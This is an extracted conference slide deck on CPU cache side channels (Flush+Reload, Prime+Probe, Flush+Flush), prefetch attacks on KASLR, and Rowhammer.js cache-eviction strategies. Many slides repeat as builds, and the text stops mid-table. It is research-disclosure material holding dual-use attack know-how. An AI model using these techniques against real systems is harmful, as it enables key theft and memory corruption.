Microarchitectural Incontinence
You would leak too if you were so fast!

Daniel Gruss
Graz University of Technology
October 18, 2016 — Hacktivity
You know water races?
Going too fast

- CPU frequency i386 → Skylake: × 160
- DRAM module capacity KB → GB: × 1 million
- DRAM manufacturing size μm → nm
Going too fast

- CPU frequency i386 → Skylake: $\times 160$
- DRAM module capacity KB → GB: $\times 1$ million
- DRAM manufacturing size µm → nm

Try a water race at 160$\times$ speed with tiny cups
Intel CPUs

- new microarchitectures yearly
- performance improvement $\approx 5\%$
- very small optimizations: caches, branch prediction...
Intel CPUs

- 2008: Nehalem
- 2011: Sandy Bridge
- 2012: Ivy Bridge
- 2013: Haswell
- 2014: Broadwell
- 2015: Skylake

- new microarchitectures yearly
- performance improvement $\approx 5\%$
- very small optimizations: caches, branch prediction...

$\rightarrow$ more and more leakage
Whoami

- Daniel Gruss
- PhD Student, Graz University of Technology
- Twitter: @lavados
- Email: daniel.gruss@iaik.tugraz.at
Side channels

- safe software infrastructure → no bugs, e.g., Heartbleed
Side channels

- **safe software** infrastructure $\rightarrow$ no bugs, e.g., Heartbleed
- does not mean safe execution
Side channels

- **safe software** infrastructure → no bugs, e.g., Heartbleed
- does not mean safe execution
- information **leaks** because of the **hardware** it runs on
- no “bug” in the sense of a mistake → lots of performance optimizations
Side channels

- **safe software** infrastructure → no bugs, e.g., Heartbleed
- does not mean safe execution
- information **leaks** because of the **hardware** it runs on
- no “bug” in the sense of a mistake → lots of performance optimizations

→ crypto and other sensitive info, e.g., keystrokes and mouse movements
Timing differences

Access time [CPU cycles]

Number of accesses

cache hits

Daniel Gruss, Graz University of Technology
October 18, 2016 — Hacktivity
Timing differences

![Graph showing cache hits and cache misses over access time in CPU cycles. The x-axis represents access time in CPU cycles ranging from 50 to 400, while the y-axis represents the number of accesses ranging from $10^1$ to $10^7$. The graph distinguishes between cache hits (blue) and cache misses (red).]
Caches on Intel CPUs

- L1 and L2 are private
- last-level cache:
  - divided in slices
  - shared across cores
  - inclusive
Inclusive property

- inclusive LLC: superset of L1 and L2
Inclusive property

- inclusive LLC: superset of L1 and L2
Inclusive property

- **inclusive LLC**: superset of L1 and L2

A core can evict lines in the private L1 of another core. Data evicted from the LLC is also evicted from L1 and L2.
Inclusive property

- **inclusive LLC**: superset of L1 and L2

```
core 0 | core 1
L1   | L2
LLC
```
Inclusive property

- **inclusive LLC**: superset of L1 and L2
- Data evicted from the LLC is also evicted from L1 and L2
Inclusive property

- **inclusive LLC**: superset of L1 and L2
- Data evicted from the LLC is also evicted from L1 and L2
- A core can **evict lines** in the private L1 of another core
Set-associative caches

- line loaded in a specific set depending on its address
  - L1: virtually indexed
  - L2, LLC: physically indexed
Set-associative caches

- line loaded in a specific set depending on its address
  - L1: virtually indexed
  - L2, LLC: physically indexed
Set-associative caches

- line loaded in a specific set depending on its address
  - L1: virtually indexed
  - L2, LLC: physically indexed
- several ways per set

<table>
<thead>
<tr>
<th>way 0</th>
<th>way 7</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Set-associative caches

- line loaded in a specific set depending on its address
  - L1: virtually indexed
  - L2, LLC: physically indexed
- several ways per set
- replacement policy decides line to evict to store a new one
Flush+Reload

**step 0:** attacker maps shared library $\rightarrow$ *shared memory, shared in cache*
Flush+Reload

**step 0**: attacker maps shared library → shared memory, shared in cache
Flush+Reload

step 0: attacker maps shared library → shared memory, shared in cache
step 1: attacker flushes the shared line with clflush
Flush+Reload

**step 0**: attacker maps shared library → shared memory, shared in cache
**step 1**: attacker flushes the shared line with clflush
**step 2**: victim loads data while performing encryption
Flush+Reload

**Step 0**: attacker maps shared library → shared memory, shared in cache

**Step 1**: attacker flushes the shared line with clflush

**Step 2**: victim loads data while performing encryption

**Step 3**: attacker reloads data → fast access if the victim loaded the line
Flush+Reload: Applications

- cross-VM side channel attacks on crypto algorithms:
  - RSA: 96.7% of secret key bits in a single signature
  - AES: full key recovery in 30000 dec. (a few seconds)

References:


Flush+Reload: Applications

- **cross-VM** side channel attacks on **crypto** algorithms:
  - RSA: 96.7% of secret key bits in a single signature
  - AES: full key recovery in 30000 dec. (a few seconds)

- **Cache Template Attacks**: automatically exploits cache-based information leakage

---


https://github.com/IAIK/cache_template_attacks
Prime+Probe

step 0: attacker fills the cache (prime)
Prime+Probe

step 0: attacker fills the cache (prime)
Prime+Probe

**step 0**: attacker fills the cache (prime)
Prime+Probe

**step 0**: attacker fills the cache (prime)

**step 1**: victim evicts cache lines while performing encryption
**Prime + Probe**

**Attacker address space**

**Cache**

**Victim address space**

**step 0:** attacker fills the cache (prime)

**step 1:** victim evicts cache lines while performing encryption
**Prime+Probe**

**Attacker address space**

**Cache**

**Victim address space**

**step 0**: attacker fills the cache (prime)

**step 1**: victim evicts cache lines while performing encryption
Prime+Probe

step 0: attacker fills the cache (prime)
step 1: victim evicts cache lines while performing encryption
Prime+Probe

step 0: attacker fills the cache (prime)
step 1: victim evicts cache lines while performing encryption
Prime+Probe

**step 0**: attacker fills the cache (prime)

**step 1**: victim evicts cache lines while performing encryption

**step 2**: attacker probes data to determine if the set was accessed
Prime+Probe

step 0: attacker fills the cache (prime)
step 1: victim evicts cache lines while performing encryption
step 2: attacker probes data to determine if the set was accessed
Prime+Probe

**step 0**: attacker fills the cache (prime)
**step 1**: victim evicts cache lines while performing encryption
**step 2**: attacker probes data to determine if the set was accessed
Prime+Probe: Applications

- **cross-VM** side channel attacks on **crypto** algorithms:
  - El Gamal (sliding window): full key recovery in 12 min.
- tracking user behavior in the browser, in JavaScript

---


Challenges with Prime+Probe

We need to evict caches lines without `clflush` or shared memory:

1. which addresses do we access to have congruent cache lines?
2. without any privilege?
3. and in which order do we access them?
Challenges with Prime+Probe

We need to evict caches lines without `clflush` or shared memory:

1. which addresses do we access to have congruent cache lines?
2. without any privilege?
3. and in which order do we access them?
Stealthier cache attack: Flush+Flush

- motivation: detecting cache attacks with perf counters is not enough
- → Flush+Flush: new cache attack, based on clflush timing leakage
  - → **stealthier** than Prime+Probe and Flush+Reload
  - → **faster** than Prime+Probe and Flush+Reload

---


https://github.com/IAIK/flush_flush
clflush timing leakage (1)

- clflush on cached data

Diagram showing the cache hierarchy with cores and levels L1, L2, and LLC. The inclusion relationship is indicated by dashed arrows.
clflush timing leakage (1)

- **clflush on cached data**
  - goes to LLC, flushes line
clflush timing leakage (1)

- clflush on cached data
  - goes to LLC, flushes line
**clflush timing leakage (1)**

- **clflush on cached data**
  - goes to LLC, flushes line
  - flushes line in L1-L2

Diagram:
- Core 0 and Core 1
- L1 cache
- L2 cache
- LLC cache with clflush operation
- The clflush operation affects cached data differently from non-cached data.
**clflush timing leakage (1)**

- **clflush on cached data**
  - goes to LLC, flushes line
  - flushes line in L1-L2
  → slow
clflush timing leakage (1)

- clflush on cached data
  - goes to LLC, flushes line
  - flushes line in L1-L2
  - slow

- clflush on non-cached data
clflush timing leakage (1)

- **clflush on cached data**
  - goes to LLC, flushes line
  - flushes line in L1-L2
  - → slow

- **clflush on non-cached data**
  - goes to LLC, does nothing
**clflush timing leakage (1)**

- **clflush on cached data**
  - goes to LLC, flushes line
  - flushes line in L1-L2
  → **slow**

- **clflush on non-cached data**
  - goes to LLC, does nothing
  → **fast**
clflush timing leakage (2)

Number of cases

Execution time (in cycles)

- Ivy hit
- Ivy miss
- Haswell hit
- Haswell miss
- Sandy hit
- Sandy miss
Flush+Reload

**Step 0**: Attacker maps shared library → shared memory, shared in cache
Flush+Reload

**step 0**: attacker maps shared library → shared memory, shared in cache
Flush+Reload

**step 0:** attacker maps shared library $\rightarrow$ shared memory, shared in cache

**step 1:** attacker **flushes** the shared line with **clflush**
Flush+Reload

- **step 0**: attacker maps shared library → shared memory, shared in cache
- **step 1**: attacker flushes the shared line with `clflush`
- **step 2**: victim loads data while performing encryption
Flush+Reload

**step 0**: attacker maps shared library → shared memory, shared in cache

**step 1**: attacker flushes the shared line with clflush

**step 2**: victim loads data while performing encryption

**step 3**: attacker reloads data → fast access if the victim loaded the line
Flush+Flush

**step 0**: attacker maps shared library → shared memory, shared in cache
Flush+Flush

**step 0**: attacker maps shared library → shared memory, shared in cache
Flush+Flush

**step 0**: attacker maps shared library $\rightarrow$ shared memory, shared in cache

**step 1**: attacker flushes the shared line
Flush+Flush

step 0: attacker maps shared library → shared memory, shared in cache
step 1: attacker flushes the shared line
step 2: victim loads data while performing encryption
Flush+Flush

step 0: attacker maps shared library → shared memory, shared in cache
step 1: attacker flushes the shared line
step 2: victim loads data while performing encryption
step 3: attacker flushes data → high execution time if the victim loaded the line
Even more timing leakage with clflush

Execution time (in cycles)

Number of cases

Core 0  Core 1  Core 2  Core 3

Daniel Gruss, Graz University of Technology
October 18, 2016 — Hacktivity
ARMageddon: Challenges of ARM

1. ARM v7 CPUs have no flush instruction
2. replacement policy is pseudo-random
3. cycle-accurate timings require root
4. last-level caches are not inclusive
5. multiple CPUs do not share a cache

ARMageddon

All cache attacks from Intel x86 applicable are to ARM devices

- covert channel up to 1 Mbps
  - → 2-3 orders of magnitude faster than previous work
- side channels
  - monitor taps and swipe events, keystrokes
  - AES T-table implementation of Bounty Castle 1.5
What about...

... other caches?
Yes, they leak too.
Intel being overspecific

NOTE

Using the PREFETCH instruction is recommended only if data does not fit in cache. Use of software prefetch should be limited to memory addresses that are managed or owned within the application context. Prefetching to addresses that are not mapped to physical pages can experience non-deterministic performance penalty. For example specifying a NULL pointer (0L) as address for a prefetch can cause long delays.
Intel being overspecific

NOTE

Using the PREFETCH instruction is recommended only if data does not fit in cache.
Intel being overspecific

NOTE

Using the PREFETCH instruction is recommended only if data does not fit in cache. Use of software prefetch should be limited to memory addresses that are managed or owned within the application context.
Intel being overspecific

NOTE

Using the PREFETCH instruction is recommended only if data does not fit in cache. Use of software prefetch should be limited to memory addresses that are managed or owned within the application context. Prefetching to addresses that are not mapped to physical pages can experience non-deterministic performance penalty.
Intel being overspecific

SHOULDN'T HAVE SAID THAT

I SHOULD NOT HAVE SAID THAT
Software prefetching

`prefetch` instructions are somewhat unusual

- Hints – can be ignored by the CPU
- Do not check privileges or cause exceptions
Address translation on x86-64

48-bit virtual address

PML4 (9 b)  PDPTI (9 b)  PDI (9 b)  PTI (9 b)  Offset (12 b)

Offset (12 b)

4 KiB Page

Byte 0

Byte 1

Offset

Byte 4095
Solution: Address Translation Caches

- **Core 0**
  - ITLB
  - DTLB
  - PDE cache
  - PDpte cache
  - PML4E cache
- **Core 1**
  - ITLB
  - DTLB
  - PDE cache
  - PDpte cache
  - PML4E cache

Page table structures in system memory (DRAM)
Kernel is mapped in every process

Today’s operating systems:
Shared address space

User memory | Kernel memory

context switch

0

−1
Address-Space Layout Randomization (ASLR)

- Kernel and drivers at randomized offsets in virtual memory
- Mitigates code reuse attacks e.g. return-oriented-programming
- Attacks based on read primitives or write primitives
Address-Space Layout Randomization (ASLR)

- Kernel and drivers at randomized offsets in virtual memory
- Mitigates code reuse attacks e.g. return-oriented-programming
- Attacks based on read primitives or write primitives
- But: leaking kernel/driver addresses defeats ASLR
Kernel direct-physical map

OS X, Linux, BSD, Xen PVM (Amazon EC2)
Locate Kernel Driver (defeat KASLR)
Defeating SMAP/SMEP

- Get direct-physical-map address of userspace address
  → jump there (it’s executable)
  → or: switch to stack there

Known as “ret2dir” attacks

---

Prefetching via direct-physical map

Min. latency

Page offset in direct-physical map
Beyond cache attacks

- talking about DRAM:
  - Rowhammer.js
  - DRAM side-channel attacks

---


DRAM organization example
DRAM organization example

channel 0

channel 1
DRAM organization example

back of DIMM: rank 1

front of DIMM: rank 0
DRAM organization example

channel 0

back of DIMM: rank 1

channel 1

front of DIMM: rank 0

chip
DRAM organization example

- bits in cells in rows
- access: activate row, copy to row buffer
DRAM refresh

- cells leak → repetitive refresh necessary
- refresh \approx reading \, (destructive) + writing same data again
- maximum interval between refreshes to guarantee data integrity
DRAM refresh

- cells leak $\rightarrow$ repetitive refresh necessary
- refresh $\approx$ reading (destructive) + writing same data again
- maximum interval between refreshes to guarantee data integrity

- cells leak faster upon proximate accesses $\rightarrow$ Rowhammer
Rowhammer (with `clflush`)

cache set 1

cache set 2

DRAM bank
Rowhammer (with clflush)

- Cache set 1
- Cache set 2
- DRAM bank
Rowhammer (with clflush)

cache set 1

cache set 2

DRAM bank
Rowhammer (with clflush)

cache set 1

DRAM bank

cache set 2
Rowhammer (with clflush)

cache set 1

cache set 2

DRAM bank

reload
Rowhammer (with clflush)

![Diagram showing cache sets and DRAM bank with reload arrows](image-url)
Rowhammer (with clflush)

cache set 1

DRAM bank

cache set 2

clflush

clflush
Rowhammer (with clflush)
Rowhammer (with clflush)

 cache set 1

 cache set 2

 DRAM bank
Rowhammer (with clflush)
Rowhammer (with clflush)
Rowhammer (with clflush)

cache set 1

cache set 2
Rowhammer (with clflush)

Cache set 1

Cache set 2

DRAM bank

clflush

clflush

wait for it...
Rowhammer (with clflush)

cache set 1

cache set 2

reload

reload

DRAM bank

bit flip!
Rowhammer without `clflush`?

- idea: avoid `clflush` to be independent of specific instructions
  - no `clflush` in JavaScript
Rowhammer without clflush?

- idea: avoid clflush to be independent of specific instructions
  - no clflush in JavaScript

- our approach: use regular memory accesses for eviction
  - techniques from cache attacks!
Rowhammer without `clflush`?

- **idea**: avoid `clflush` to be independent of specific instructions
  → no `clflush` in JavaScript

- **our approach**: use regular memory accesses for eviction
  → techniques from cache attacks!
  → Rowhammer, Prime+Probe style!

Daniel Gruss, Graz University of Technology
October 18, 2016 — Hacktivity
Rowhammer without `clflush`

- Cache set 1
- Cache set 2
- DRAM bank
Rowhammer without `clflush`

- Cache set 1
- Cache set 2
- Load
- DRAM bank
Rowhammer without clflush

cache set 1

cache set 2

load

load

DRAM bank
Rowhammer without clflush

Cache set 1

Cache set 2

DRAM bank
Rowhammer without `clflush`

Cache set 1

Cache set 2

DRAM bank
Rowhammer without clflush

cache set 1

load

load

cache set 2

DRAM bank
Rowhammer without clflush

cache set 1

DRAM bank

cache set 2

load

load
Rowhammer without clflush

cache set 1

load

cache set 2

load

DRAM bank
Rowhammer without clflush

cache set 1

cache set 2

DRAM bank

load

load
Rowhammer without clflush

Daniel Gruss, Graz University of Technology
October 18, 2016 — Hacktivity
Rowhammer without `clflush`

```
cache set 1
```

```
cache set 2
```

```
DRAM bank
```

repeat!
Rowhammer without clflush

wait for it...
Rowhammer without `clflush`

- Cache set 1
- Cache set 2
- DRAM bank

Bit flip!
Requirements for Rowhammer

1. **uncached** memory accesses: need to reach DRAM
2. **fast** memory accesses: race against the next row refresh
Requirements for Rowhammer

1. **uncached** memory accesses: need to reach DRAM
2. **fast** memory accesses: race against the next row refresh

→ optimize the eviction rate and the timing
Rowhammer.js: the challenges

1. how to get accurate timing in JS?
2. how to get physical addresses in JS?
3. which physical addresses to access?
4. in which order to access them?
Rowhammer.js: the challenges

1. how to get accurate timing in JS? → easy
2. how to get physical addresses in JS?
3. which physical addresses to access?
4. in which order to access them?
Rowhammer.js: the challenges

1. how to get accurate timing in JS? → easy
2. how to get physical addresses in JS? → we solved this
3. which physical addresses to access?
4. in which order to access them?
Rowhammer.js: the challenges

1. how to get accurate timing in JS? → easy
2. how to get physical addresses in JS? → we solved this
3. which physical addresses to access? → we solved this
4. in which order to access them?
Rowhammer.js: the challenges

1. how to get accurate timing in JS? → easy
2. how to get physical addresses in JS? → we solved this
3. which physical addresses to access? → we solved this
4. in which order to access them? → we solved this
How to get accurate timing in JavaScript?

- **native code**: `rdtsc`
- **JavaScript**: `window.performance.now()`
How to get accurate timing in JavaScript?

- **native code**: `rdtsc`
- **JavaScript**: `window.performance.now()`
- recent patch: time rounded to 5 microseconds
- still works: we measure millions of accesses
Physical addresses and DRAM

- fixed map: physical addresses → DRAM cells
- undocumented for Intel
- reverse-engineering for Sandy Bridge
- and by us for Sandy, Ivy, Haswell, Skylake,...

---


Physical addresses and JavaScript

- OS optimization: use 2MB pages
  - last 21 bits (2MB) of physical address
  - = last 21 bits (2MB) of virtual address
Physical addresses and JavaScript

- OS optimization: use 2MB pages
  - last 21 bits (2MB) of physical address
  - = last 21 bits (2MB) of virtual address
  - = last 21 bits (2MB) of JS array indices

---

Physical addresses and JavaScript

- OS optimization: use 2MB pages
  - last 21 bits (2MB) of physical address
  - = last 21 bits (2MB) of virtual address
  - = last 21 bits (2MB) of JS array indices

- several DRAM rows per 2MB page
- several congruent addresses per 2MB page
Which physical addresses to access?

“LRU eviction”:

- assume that cache uses LRU replacement
- accessing $n$ addresses from the same cache set to evict an $n$-way set
- using the reverse-engineered last-level cache addressing function

---

Replacement policy on older CPUs

“LRU eviction” memory accesses

cache set

|   |   |   |   |   |

Daniel Gruss, Graz University of Technology
October 18, 2016 — Hacktivity
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first

Cache set:

```
  1  2  3  4  5
```

Daniel Gruss, Graz University of Technology
October 18, 2016 — Hacktivity
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- Timestamps for every cache line
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp

Load

Cache set

| 10 | 5 | 8 | 9 | 7 | 6 | 11 | 4 |
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement on recent CPUs
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement on recent CPUs
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement on recent CPUs
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement on recent CPUs
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement on recent CPUs
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement on recent CPUs
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement on recent CPUs
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement on recent CPUs
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement on recent CPUs
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement on recent CPUs
- only 75% success rate on Haswell
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement on recent CPUs
- only 75% success rate on Haswell
- more accesses $\rightarrow$ higher success rate, but too slow
Cache eviction strategy: Notation (1)

Write eviction strategies as: $\mathcal{P}-C-D-L-S$

```c
for (s = 0; s <= S - D; s += L )
  for (c = 0; c <= C; c += 1)
    for (d = 0; d <= D; d += 1)
      *a[s+d];
```
Cache eviction strategy: Notation (1)

Write eviction strategies as: $\mathcal{P}-C-D-L-S$

$S$: total number of different addresses (= set size)

```c
for (s = 0; s <= S - D; s += L)
  for (c = 0; c <= C; c += 1)
    for (d = 0; d <= D; d += 1)
      *a[s+d];
```
Cache eviction strategy: Notation (1)

Write eviction strategies as: $\mathcal{P} - C - D - L - S$

$S$: total number of different addresses (= set size)

$D$: different addresses per inner access loop

for (s = 0; s <= S - D; s += L)
  for (c = 0; c <= C; c += 1)
    for (d = 0; d <= D; d += 1)
      *a[s+d];
Write eviction strategies as: $P-C-D-L-S$

$S$: total number of different addresses (= set size)

$D$: different addresses per inner access loop

$L$: step size of the inner access loop

```
for (s = 0; s <= S-D; s += L)
  for (c = 0; c <= C; c += 1)
    for (d = 0; d <= D; d += 1)
      *a[s+d];
```
Cache eviction strategy: Notation (1)

Write eviction strategies as: $P-C-D-L-S$

$S$: total number of different addresses (= set size)

$D$: different addresses per inner access loop

$L$: step size of the inner access loop

$C$: number of repetitions of the inner access loop

for ($s = 0; s <= S - D; s += L$)
    for ($c = 0; c <= C; c += 1$)
        for ($d = 0; d <= D; d += 1$)
            *a[*s+d];
Cache eviction strategy: Notation (2)

```c
for (s = 0; s <= S - D; s += L)
    for (c = 1; c <= C; c += 1)
        for (d = 1; d <= D; d += 1)
            *a[s+d];
```

Daniel Gruss, Graz University of Technology

October 18, 2016 — Hacktivity
Cache eviction strategy: Notation (2)

\[
\begin{align*}
&\text{for } (s = 0; s \leq S - D; s += L) \\
&\quad \text{for } (c = 1; c \leq C; c += 1) \\
&\quad \quad \text{for } (d = 1; d \leq D; d += 1) \\
&\quad \quad \quad *a[s+d];
\end{align*}
\]

- $P - 2 - 2 - 1 - 4 \rightarrow 1, 2, 1, 2, 2, 3, 2, 3, 3, 4, 3, 4$
Cache eviction strategy: Notation (2)

\[
\begin{align*}
\text{for } (s = 0; s <= \textcolor{blue}{S - D}; s += \textcolor{blue}{L}) \\
\text{for } (c = 1; c <= \textcolor{blue}{C}; c += 1) \\
\text{for } (d = 1; d <= \textcolor{blue}{D}; d += 1) \\
\textcolor{red}{*a[s+d];}
\end{align*}
\]

- \(P-2-2-1-4 \rightarrow 1, 2, 1, 2, 2, 3, 2, 3, 3, 4, 3, 4\)

\(S = 4\)
Cache eviction strategy: Notation (2)

```c
for (s = 0; s <= S - D; s += L)
    for (c = 1; c <= C; c += 1)
        for (d = 1; d <= D; d += 1)
            *a[s+d];
```

\[ \mathcal{P} - 2 - 2 - 1 - 4 \rightarrow 1, 2, 1, 2, 2, 3, 2, 3, 3, 4, 3, 4 \]

\[ S = 4 \]
Cache eviction strategy: Notation (2)

\[
\begin{align*}
\text{for } (s = 0; s \leq S - D; s += L) \\
\text{for } (c = 1; c \leq C; c += 1) \\
\text{for } (d = 1; d \leq D; d += 1) \\
* a[s+d];
\end{align*}
\]

- \( S = 4 \)
- \( D = 2 \)

- \( P \rightarrow 1, 2, 1, 2, 2, 3, 2, 3, 3, 4, 3, 4 \)
- LRU eviction with set size 4
Cache eviction strategy: Notation (2)

for (s = 0; s <= S - D; s += L)
  for (c = 1; c <= C; c += 1)
    for (d = 1; d <= D; d += 1)
      *a[s+d];

\[ P \rightarrow 1, 2, 1, 2, 2, 3, 2, 3, 3, 4, 3, 4 \]

\[ D = 2 \quad C = 2 \quad S = 4 \]
Cache eviction strategy: Notation (2)

for (s = 0; s <= S - D; s += L)
    for (c = 1; c <= C; c += 1)
        for (d = 1; d <= D; d += 1)
            *a[s+d];

\[\mathcal{P} - 2 - 2 - 1 - 4 \rightarrow 1, 2, 1, 2, 2, 3, 2, 3, 3, 4, 3, 4 \rightarrow S = 4\]

- \(L = 1\)
- \(D = 2\)
- \(C = 2\)
Cache eviction strategy: Notation (2)

\[
\begin{align*}
&\text{for } (s = 0; s \leq S - D; s += L) \\
&\quad \text{for } (c = 1; c \leq C; c += 1) \\
&\quad \text{for } (d = 1; d \leq D; d += 1) \\
&\quad \quad *a[s+d];
\end{align*}
\]

- $P$-2-2-1-4 $\rightarrow$ 1, 2, 1, 2, 2, 3, 2, 3, 3, 4, 3, 4 $\rightarrow$ LRU eviction with set size 4

- $P$-1-1-1-4 $\rightarrow$ 1, 2, 3, 4

$L = 1$, $D = 2$, $C = 2$
Cache eviction strategies: Evaluation

We evaluated more than 10000 strategies...

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>P-1-1-1-17</td>
<td>17</td>
<td></td>
<td></td>
</tr>
<tr>
<td>P-1-1-1-20</td>
<td>20</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Executed in a loop, on a Haswell with a 16-way last-level cache
Cache eviction strategies: Evaluation

We evaluated more than 10000 strategies...

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>$P-1-1-1-17$</td>
<td>17</td>
<td>74.46%</td>
<td>×</td>
</tr>
<tr>
<td>$P-1-1-1-20$</td>
<td>20</td>
<td>99.82%</td>
<td>✓</td>
</tr>
</tbody>
</table>

Executed in a loop, on a Haswell with a 16-way last-level cache
Cache eviction strategies: Evaluation

We evaluated more than 10000 strategies...

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>$P$-1-1-1-17</td>
<td>17</td>
<td>74.46%</td>
<td>307 ns</td>
</tr>
<tr>
<td>$P$-1-1-1-20</td>
<td>20</td>
<td>99.82%</td>
<td>934 ns</td>
</tr>
</tbody>
</table>

Executed in a loop, on a Haswell with a 16-way last-level cache
Cache eviction strategies: Evaluation

We evaluated more than 10000 strategies...

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>$\mathcal{P}-1-1-1-17$</td>
<td>17</td>
<td>74.46%</td>
<td>307 ns</td>
</tr>
<tr>
<td>$\mathcal{P}-1-1-1-20$</td>
<td>20</td>
<td>99.82%</td>
<td>934 ns</td>
</tr>
<tr>
<td>$\mathcal{P}-2-1-1-17$</td>
<td>34</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Executed in a loop, on a Haswell with a 16-way last-level cache.
Cache eviction strategies: Evaluation

We evaluated more than 10000 strategies...

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>( P-1-1-1-17 )</td>
<td>17</td>
<td>74.46% ( \times )</td>
<td>307 ns ( \checkmark )</td>
</tr>
<tr>
<td>( P-1-1-1-20 )</td>
<td>20</td>
<td>99.82% ( \checkmark )</td>
<td>934 ns ( \times )</td>
</tr>
<tr>
<td>( P-2-1-1-17 )</td>
<td>34</td>
<td>99.86% ( \checkmark )</td>
<td></td>
</tr>
</tbody>
</table>

Executed in a loop, on a Haswell with a 16-way last-level cache
Cache eviction strategies: Evaluation

We evaluated more than 10000 strategies...

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>(P-1-1-1-17)</td>
<td>17</td>
<td>74.46%</td>
<td>307 ns</td>
</tr>
<tr>
<td>(P-1-1-1-20)</td>
<td>20</td>
<td>99.82%</td>
<td>934 ns</td>
</tr>
<tr>
<td>(P-2-1-1-17)</td>
<td>34</td>
<td>99.86%</td>
<td>191 ns</td>
</tr>
</tbody>
</table>

Executed in a loop, on a Haswell with a 16-way last-level cache.
Cache eviction strategies: Evaluation

We evaluated more than 10000 strategies...

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>$P_{-1-1-1-17}$</td>
<td>17</td>
<td>74.46%</td>
<td>307 ns✓</td>
</tr>
<tr>
<td>$P_{-1-1-1-20}$</td>
<td>20</td>
<td>99.82% ✓</td>
<td>934 ns x</td>
</tr>
<tr>
<td>$P_{-2-1-1-17}$</td>
<td>34</td>
<td>99.86% ✓</td>
<td>191 ns ✓</td>
</tr>
<tr>
<td>$P_{-2-2-1-17}$</td>
<td>64</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Executed in a loop, on a Haswell with a 16-way last-level cache
Cache eviction strategies: Evaluation

We evaluated more than 10000 strategies...

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>P-1-1-1-17</td>
<td>17</td>
<td>74.46%</td>
<td>307 ns</td>
</tr>
<tr>
<td>P-1-1-1-20</td>
<td>20</td>
<td>99.82%</td>
<td>934 ns</td>
</tr>
<tr>
<td>P-2-1-1-17</td>
<td>34</td>
<td>99.86%</td>
<td>191 ns</td>
</tr>
<tr>
<td>P-2-2-1-17</td>
<td>64</td>
<td>99.98%</td>
<td></td>
</tr>
</tbody>
</table>

Executed in a loop, on a Haswell with a 16-way last-level cache
Cache eviction strategies: Evaluation

We evaluated more than 10000 strategies...

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
